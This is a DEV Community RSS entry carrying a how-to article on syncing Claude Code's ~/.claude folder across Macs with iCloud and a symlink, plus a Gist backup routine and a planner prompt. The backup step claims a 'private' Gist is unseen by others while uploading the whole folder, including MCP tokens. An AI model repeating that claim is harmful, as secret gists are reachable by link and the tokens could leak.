<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Leo Kane</title>
    <description>The latest articles on DEV Community by Leo Kane (@leo_kane_dcf8a742674c0741).</description>
    <link>https://dev.to/leo_kane_dcf8a742674c0741</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4095217%2Fe1e508fa-de01-4568-8d86-9e5d0c03cdcf.png</url>
      <title>DEV Community: Leo Kane</title>
      <link>https://dev.to/leo_kane_dcf8a742674c0741</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/leo_kane_dcf8a742674c0741"/>
    <language>en</language>
    <item>
      <title>Keep Claude Code Synced Across Macs — Without Scripts</title>
      <dc:creator>Leo Kane</dc:creator>
      <pubDate>Wed, 26 Aug 2026 07:51:14 +0000</pubDate>
      <link>https://dev.to/leo_kane_dcf8a742674c0741/keep-claude-code-synced-across-macs-without-scripts-jb2</link>
      <guid>https://dev.to/leo_kane_dcf8a742674c0741/keep-claude-code-synced-across-macs-without-scripts-jb2</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/" rel="noopener noreferrer"&gt;AI Workflow Pro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Keep Claude Code Synced Across Macs — Without Scripts
&lt;/h1&gt;

&lt;p&gt;Syncthing, a Git repo with cron, or iCloud Drive plus one symlink - I ran all three across six months. Only one avoided becoming a part-time sysadmin job. Honest comparison, exact commands for the winner, a Gist backup plan, and when heavier workflow automation software is right.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feaipkhvz8tskfn1cwgfb.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feaipkhvz8tskfn1cwgfb.webp" alt="Keep Claude Code Synced Across Macs — Without Scripts technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy&lt;/p&gt;

&lt;p&gt;There are three ways to keep Claude Code synced across multiple Macs. Only one of them is worth your Saturday.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approach A (what every blog recommends):&lt;/strong&gt; Syncthing. A peer-to-peer file sync daemon, four-way mesh, 30-line &lt;code&gt;.stignore&lt;/code&gt; file, folder-ID tokens, send-only vs send-receive modes. Technically correct. Also: a part-time sysadmin job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approach B (what engineer friends swear by):&lt;/strong&gt; A private Git repo, symlinks from &lt;code&gt;~/.claude/&lt;/code&gt; into the repo, a nightly cron at 1 AM, pull-on-login. Elegant, versioned. Also: forgettable, cron-fragile, merge-conflict prone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approach C (what actually works for a non-DevOps human):&lt;/strong&gt; iCloud Drive plus one symlink. Ten minutes. Zero daemons. Zero cron. Apple handles the sync.&lt;/p&gt;

&lt;p&gt;Every time I buy a new Mac, I used to hit the same 20 minutes of Claude Code sync frustration: I'd open Terminal, type &lt;code&gt;claude&lt;/code&gt;, and the tool would look at me like we'd never met. My CLAUDE.md: gone. My 5 Skills: gone. My 5 MCP configurations: gone. The &lt;code&gt;~/.claude/&lt;/code&gt; folder empty except for whatever ships by default.&lt;/p&gt;

&lt;p&gt;I tried Approach A for a month. I tried Approach B for two weeks. Approach C is what I've run for the last six months. Below is the honest comparison, with the exact commands for the winner.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you have 4+ machines spread across macOS, Linux, and Windows, or you have regulated data that can't touch a cloud drive — skip to the end, Syncthing is actually right for you. For everyone else, read on.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The advice you find is usually written by somebody with a different problem than yours. Ask how to keep configuration in step across machines and you get a peer-to-peer sync daemon, folder tokens, and a thirty-line ignore file: correct, and also a part-time sysadmin job for a two-person consultancy that just wants the same setup on the office iMac and the laptop that goes to client sites. Choosing workflow automation software hits this failure mode constantly - the recommended setup assumes staff you do not have. This article compares three approaches honestly and picks the ten-minute one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Claude Code Sync Is Hard in the First Place
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp3dn522czayalzwmq8ch.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp3dn522czayalzwmq8ch.webp" alt="Claude Code official documentation showing installation methods and overview" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Claude Code stores everything it knows about you in &lt;code&gt;~/.claude/&lt;/code&gt; on your home directory. That includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;CLAUDE.md&lt;/code&gt; — your user-level rules&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;settings.json&lt;/code&gt; — your config&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;skills/&lt;/code&gt; — your custom Skills&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;projects/&lt;/code&gt; — per-project memory (Auto Memory)&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;.mcp.json&lt;/code&gt; — your MCP server configs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Plus, every project you work on has a &lt;code&gt;./CLAUDE.md&lt;/code&gt; and maybe &lt;code&gt;./.claude/&lt;/code&gt; of its own — but those live with the project, usually in Git. The pain isn't project-level stuff. The pain is &lt;strong&gt;user-level &lt;code&gt;~/.claude/&lt;/code&gt;&lt;/strong&gt;, which isn't in any repo and doesn't move with your code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Three Claude Code Sync Approaches I Tried
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Approach 1 — Syncthing (The Power-User Default)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe528w7ombhxj8zjlg2s9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe528w7ombhxj8zjlg2s9.webp" alt="Syncthing official homepage showing the open-source continuous file synchronization tool" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://syncthing.net/?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Syncthing&lt;/a&gt;&lt;br&gt;
 is a peer-to-peer file sync daemon. It runs continuously on each machine, connects them in a mesh, and replicates folders in real time. It's free, open source, and the technically correct answer for many people.&lt;/p&gt;

&lt;p&gt;I spent a Saturday setting it up across three Macs. Four-way mesh, &lt;code&gt;.stignore&lt;/code&gt; rules to skip logs and runtime state, encrypted config, pinning down which folders sync. It worked. It also:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Required me to install and remember a daemon on every machine&lt;/li&gt;
&lt;li&gt;  Needed a &lt;code&gt;.stignore&lt;/code&gt; file with ~30 exclusion rules I had to maintain&lt;/li&gt;
&lt;li&gt;  Would sometimes re-sync during a Claude Code session and cause weird state issues&lt;/li&gt;
&lt;li&gt;  Demanded I understand folder-ID tokens, device-ID tokens, and the difference between "send-only" and "send-receive" modes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'm not a sysadmin. Every time I hit a weird state, I spent 20 minutes debugging a tool that was supposed to &lt;em&gt;save&lt;/em&gt; me 20 minutes. I gave it a month, then uninstalled it.&lt;/p&gt;

&lt;p&gt;If you're curious, my full 30-line Syncthing config is in the original technical guide for this post in the AWP content archive. But you probably don't need it. Keep reading.&lt;/p&gt;

&lt;h3&gt;
  
  
  Approach 2 — Git + Cron (The Engineer-Friend Special)
&lt;/h3&gt;

&lt;p&gt;My friend Sam runs a private GitHub repo named &lt;code&gt;~/dotfiles-claude/&lt;/code&gt;. He symlinks &lt;code&gt;~/.claude/&lt;/code&gt; into the repo, has a cron job that commits nightly at 1 AM, and pulls on login. It's elegant, versioned, and if he loses a laptop he's fine.&lt;/p&gt;

&lt;p&gt;I tried this for two weeks. I then discovered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  I'd forget to commit before traveling&lt;/li&gt;
&lt;li&gt;  Cron sometimes didn't fire because my laptop was sleeping at 1 AM&lt;/li&gt;
&lt;li&gt;  Merge conflicts were a thing when I edited CLAUDE.md on two machines in the same day&lt;/li&gt;
&lt;li&gt;  I don't actually want every Skills edit in Git history&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're comfortable with Git and you treat your dotfiles like code, this is fine. For me, it was still too much ceremony.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiakwzaen3r22dk9xrf4y.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiakwzaen3r22dk9xrf4y.webp" alt="3 Claude Code Sync Approaches Compared — Verdicts" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Approach 3 — iCloud Drive + One Symlink (The Thing I Actually Use)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzyzdnvvd11bs85q4vl5.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzyzdnvvd11bs85q4vl5.webp" alt="Apple iCloud+ product page showing cloud sync across all Apple devices" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is what works. Ten minutes, zero daemons, no scripts, no cron, and Apple handles the sync.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The whole setup:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 1. Move ~/.claude to iCloud Drive (once, on your primary Mac)
mv ~/.claude ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode/

# 2. Create a symlink from the original location back to iCloud
ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude

# 3. On your second Mac, just make the symlink (iCloud handles the file sync)
# Wait for iCloud to show ClaudeCode/ in your iCloud Drive folder first, then:
ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;That's the whole thing. Three commands. No daemon. No cron. Your &lt;code&gt;~/.claude/&lt;/code&gt; now lives in iCloud; both Macs see the same folder; any change you make on one shows up on the other within seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wait, Can You Really Symlink Into iCloud?
&lt;/h3&gt;

&lt;p&gt;Yes, with one caveat: &lt;strong&gt;the symlink goes &lt;em&gt;into&lt;/em&gt; iCloud, not the other way around.&lt;/strong&gt; iCloud doesn't sync symlinks themselves; you put the real folder in iCloud and symlink &lt;em&gt;to&lt;/em&gt; it from your home directory. That's what the commands above do.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Actually Syncs?
&lt;/h3&gt;

&lt;p&gt;Everything in &lt;code&gt;~/.claude/&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  ✅ &lt;code&gt;CLAUDE.md&lt;/code&gt; — user-level rules&lt;/li&gt;
&lt;li&gt;  ✅ &lt;code&gt;settings.json&lt;/code&gt; — config&lt;/li&gt;
&lt;li&gt;  ✅ &lt;code&gt;skills/&lt;/code&gt; — all your Skills&lt;/li&gt;
&lt;li&gt;  ✅ &lt;code&gt;.mcp.json&lt;/code&gt; — MCP server configs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And what gets synced but &lt;em&gt;shouldn't&lt;/em&gt; cause problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;projects/&lt;/code&gt; — per-project Auto Memory. This actually benefits from syncing; Claude remembers your project on any machine you open it from&lt;/li&gt;
&lt;li&gt;  Logs and runtime state — these are small and re-create themselves; no harm done&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Gotchas I Hit (and How to Avoid Them)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Gotcha 1 — Initial sync takes longer than you think.&lt;/strong&gt; If your &lt;code&gt;~/.claude/&lt;/code&gt; has a year of Auto Memory and Skills, the first upload to iCloud can take 10-30 minutes. Don't start the second-Mac setup until iCloud reports the &lt;code&gt;ClaudeCode/&lt;/code&gt; folder as fully uploaded.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gotcha 2 — Two sessions at once is a bad idea.&lt;/strong&gt; If you have Claude Code running on both Macs &lt;em&gt;simultaneously&lt;/em&gt; and both edit the same file, iCloud resolves the conflict but you might lose 30 seconds of edits. In practice I'm rarely on two Macs at the same moment, so this is a non-issue. If you are, pause one session before switching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gotcha 3 — iCloud sometimes needs a nudge.&lt;/strong&gt; If you don't see a change show up after 60 seconds, open the iCloud menu bar icon and make sure your sync is active. I've had to sign out and back in maybe twice in six months.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gotcha 4 — If you use Time Machine, make sure &lt;code&gt;~/.claude/&lt;/code&gt; isn't excluded from backups.&lt;/strong&gt; Time Machine exclusion lists inherit weirdly with symlinks. Double-check.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frptnwwnnqegwcxztea3s.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frptnwwnnqegwcxztea3s.webp" alt="Approach C Winner: iCloud + One Symlink in 3 Commands + 4 Gotchas" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The "Day One on a New Mac" Walkthrough
&lt;/h2&gt;

&lt;p&gt;Imagine you just bought a new MacBook. Here's the 10-minute setup to get your Claude Code identity onto it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Sign into iCloud (usually already done)&lt;/li&gt;
&lt;li&gt; Install Claude Code — &lt;code&gt;curl -fsSL https://claude.ai/install.sh | bash&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Open Finder → iCloud Drive → confirm you see the &lt;code&gt;ClaudeCode/&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt; Open Terminal, run: &lt;code&gt;ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Run &lt;code&gt;claude&lt;/code&gt; in any project directory. Your CLAUDE.md, Skills, MCP configs — all there.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Ten minutes, most of which is iCloud catching up on the sync. Done.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Claude Code Backup Plan: GitHub Gist
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw7sf3vlwopdzbv2qbena.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw7sf3vlwopdzbv2qbena.webp" alt="GitHub Gist interface for instantly sharing code snippets and notes" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's a second layer I add on top of iCloud, because I don't fully trust any single sync mechanism with a year of my work.&lt;/p&gt;

&lt;p&gt;Every few weeks, I tar up &lt;code&gt;~/.claude/&lt;/code&gt; and throw it into a &lt;a href="https://gist.github.com/?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;private GitHub Gist&lt;/a&gt;&lt;br&gt;
. Takes 30 seconds:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tar -czf claude-backup-$(date +%Y%m%d).tar.gz ~/.claude/
# Upload the .tar.gz file to a private Gist on gist.github.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;If iCloud ever corrupts a file or I accidentally delete something I shouldn't have, I have a restore point. The Gist is private, so no one else can see it, and GitHub hosts it free.&lt;/p&gt;

&lt;p&gt;This isn't a replacement for iCloud — iCloud is your &lt;em&gt;live sync&lt;/em&gt;. The Gist is your &lt;em&gt;emergency parachute&lt;/em&gt;. Both together is belt-and-suspenders, but the Gist takes 30 seconds every month, so the cost is minimal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffighl090st3o61vqwwa7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffighl090st3o61vqwwa7.webp" alt="Day One Walkthrough + GitHub Gist Backup + When Syncthing Fits" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  When You'd Actually Want Syncthing Instead
&lt;/h2&gt;

&lt;p&gt;I'm not saying Syncthing is bad. I'm saying it's overpowered for the common case. Use Syncthing if:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;You have more than 3 machines&lt;/strong&gt; (iCloud works fine for 2-3; gets less reliable above that)&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;You have non-Apple devices&lt;/strong&gt; (Linux laptop, Windows work machine)&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;You have strict no-cloud-sync requirements&lt;/strong&gt; (regulated industry, sensitive client data)&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;You have 100% on-LAN workflow&lt;/strong&gt; and don't want anything to touch the open internet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the 80% of AWP readers who have 1-2 Macs and don't work with state secrets, iCloud is genuinely enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Wish I'd Known on Day One
&lt;/h2&gt;

&lt;p&gt;Three things that would've saved me that wasted Saturday on Syncthing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The simplest method that works is almost always the right one.&lt;/strong&gt; I spent 6 hours learning Syncthing because the first blog post I found assumed I should. I should have asked "what's the minimum thing that would solve this?" first.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sync and backup are different jobs.&lt;/strong&gt; iCloud syncs. Gist backs up. Don't conflate them. The engineer-friend Git approach was trying to do both at once, which is why it felt heavy.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Symlinks are a superpower.&lt;/strong&gt; One &lt;code&gt;ln -s&lt;/code&gt; command makes the whole OS think a folder lives somewhere it doesn't. This is the actual trick that makes iCloud work for this use case — no daemon, no script, just a pointer.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;iCloud Drive + one symlink syncs Claude Code across Macs in 10 minutes&lt;/strong&gt; — no Syncthing, no cron, no scripts. Three commands total&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Sync &lt;code&gt;~/.claude/&lt;/code&gt; at the user level, not the project&lt;/strong&gt; — project CLAUDE.md lives in Git; user-level is what you lose on a new Mac&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;The simplest method that works is the right one&lt;/strong&gt; — I wasted a Saturday learning Syncthing for a problem iCloud solves in 10 minutes&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Separate sync from backup&lt;/strong&gt; — iCloud is live sync; a monthly tar'd Gist is your emergency parachute. Don't conflate them&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Symlinks are the actual trick&lt;/strong&gt; — &lt;code&gt;ln -s&lt;/code&gt; makes the OS think a folder lives somewhere it doesn't, letting iCloud handle the real sync underneath&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Use Syncthing only if&lt;/strong&gt; — 4+ machines, non-Apple devices, regulated data with no-cloud rules, or 100% on-LAN workflow&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-complete-guide-2026/" rel="noopener noreferrer"&gt;Claude Code Complete Guide 2026&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;The complete Claude Code reference guide&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-syncthing-mesh/" rel="noopener noreferrer"&gt;Claude Code Syncthing 4-Machine Mesh&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Advanced 4-machine Syncthing mesh setup&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/ai-knowledge-base-best-practices/" rel="noopener noreferrer"&gt;AI Knowledge Base Best Practices&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Knowledge base architecture for synced setups&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Ready-to-Use Prompt: Pick and Set Up a Claude Code Sync Across Macs
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What this does:&lt;/strong&gt; Decides between the three sync approaches (Syncthing / Git+symlink+cron / iCloud+symlink), gives the day-one commands for the winner, audits the MCP-config gotcha, and sets a GitHub Gist backup plus the trigger to switch approaches — zero daemons for the common case.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Based on:&lt;/strong&gt; Keep Claude Code Synced Across Macs — Without Scripts — &lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/" rel="noopener noreferrer"&gt;https://aiworkflowpro.com/keep-claude-code-synced/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time to run:&lt;/strong&gt; ~4 minutes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy this prompt into Claude Code, ChatGPT, or any AI assistant:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROLE: You are a Claude Code Sync Planner. Your job: pick the right sync approach for a multi-Mac setup, run the day-one commands, and keep it backed up — without turning the user into a part-time sysadmin.

CONTEXT — 3-APPROACH SYNC METHOD:
Keeping Claude Code synced across Macs is hard because `~/.claude/` holds your CLAUDE.md, Skills, and MCP configs locally — buy a new Mac and it greets you like a stranger. Three approaches exist, only one worth a Saturday: (A) Syncthing — a peer-to-peer mesh daemon with `.stignore` and folder tokens; technically correct but a part-time sysadmin job; (B) private Git repo with symlinks and a cron pull — elegant and versioned but forgettable, cron-fragile, merge-conflict prone; (C) iCloud Drive plus one symlink — ten minutes, zero daemons, zero cron, Apple handles the sync. For most people C wins. Syncthing earns its complexity only at 4+ machines or cross-platform needs. Back up to a GitHub Gist regardless, and treat MCP configs as their own gotcha — their format doesn't always survive a blind copy.

INPUTS (fill in before running):
- MACHINE_COUNT: [How many Macs — 2-3 / 4+]
- OPERATING_ENV: [All personal Macs / mix with work / cross-platform incl. non-Mac]
- DEVOPS_TOLERANCE: [wants zero daemons / fine with Git+cron / fine with Syncthing mesh]
- CONTENT_SIZE: [How big ~/.claude is — small / large]

METHOD — 4 STEPS:

Step 1 — Pick the Sync Approach
From MACHINE_COUNT, OPERATING_ENV, and DEVOPS_TOLERANCE: default to C (iCloud + symlink) for 2–3 personal Macs with low DevOps tolerance. Pick Syncthing (A) only at 4+ machines or cross-platform; pick Git+symlink+cron (B) only if versioning outweighs reliability. State the choice and one line why.

Step 2 — Set Up the Winner (Day-One Walkthrough)
For the chosen approach, give the exact day-one commands. For C: move `~/.claude/` into iCloud Drive and replace it with a symlink so Apple syncs it with no daemon. Confirm the symlink resolves and Claude Code reads it on a fresh terminal.

Step 3 — Handle MCP Configs (The Gotcha)
Treat MCP configs separately — their format can break under a blind sync (paths, tokens, machine-specific entries). Audit after sync and fix machine-specific values rather than copying wholesale.

Step 4 — Gist Backup + Switch Trigger
Back up the synced `~/.claude/` (CLAUDE.md, Skills, MCP) to a GitHub Gist as the recovery source. Name the single trigger that means switching approaches — e.g. hitting 4+ machines or adding a non-Mac device moves you from C to Syncthing.

RULES:
- Never recommend Syncthing or Git+cron for a simple 2–3 personal-Mac case — iCloud + symlink is the zero-daemon winner.
- Never blind-copy MCP configs — audit machine-specific paths and tokens after sync.
- Never run without a backup — a GitHub Gist is the recovery source if sync corrupts `~/.claude/`.

OUTPUT FORMAT:
Output a markdown report with:
1. Approach Decision — A/B/C + one-line why
2. Day-One Walkthrough — the exact commands for the chosen approach + verify step
3. MCP Gotcha Audit — markdown table, columns: Config | Machine-Specific? | Fix
4. Backup + Switch Trigger — the Gist plan + the condition that changes the approach
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Save as &lt;code&gt;@templates/keep-claude-code-synced.md&lt;/code&gt; and run when adding a Mac, or when &lt;code&gt;~/.claude/&lt;/code&gt; keeps resetting on a new machine.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Does this work on iPad?
&lt;/h3&gt;

&lt;p&gt;Claude Code doesn't run on iPad yet, so the sync question doesn't apply there. Claude.ai in Safari does, and Chat Memory handles its own sync across devices separately.&lt;/p&gt;

&lt;h3&gt;
  
  
  What if I don't have iCloud+ (the paid tier)?
&lt;/h3&gt;

&lt;p&gt;The free 5GB iCloud tier is almost always enough for &lt;code&gt;~/.claude/&lt;/code&gt;. Mine is about 240MB including a year of Auto Memory and 5 Skills with large embedded docs. You'd have to be heavy on the &lt;code&gt;projects/&lt;/code&gt; Auto Memory for this to cross 5GB.&lt;/p&gt;

&lt;h3&gt;
  
  
  What if I want to share Skills across coworkers, not just my own Macs?
&lt;/h3&gt;

&lt;p&gt;Then you want a shared Git repo, not iCloud. Put each shared Skill in a repo everyone clones into &lt;code&gt;.claude/skills/{skill-name}/&lt;/code&gt;. Keep personal Skills in iCloud (or &lt;code&gt;~/.claude/skills/&lt;/code&gt; outside the repo). Two-layer split.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is iCloud safe for sensitive prompts?
&lt;/h3&gt;

&lt;p&gt;iCloud encrypts data in transit and at rest. Apple has access to decrypt unless you've enabled Advanced Data Protection, in which case they don't. For most solopreneur content work, iCloud's default is fine. If you're working with client PII or regulated data, use a local-only approach instead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why not Dropbox / Google Drive?
&lt;/h3&gt;

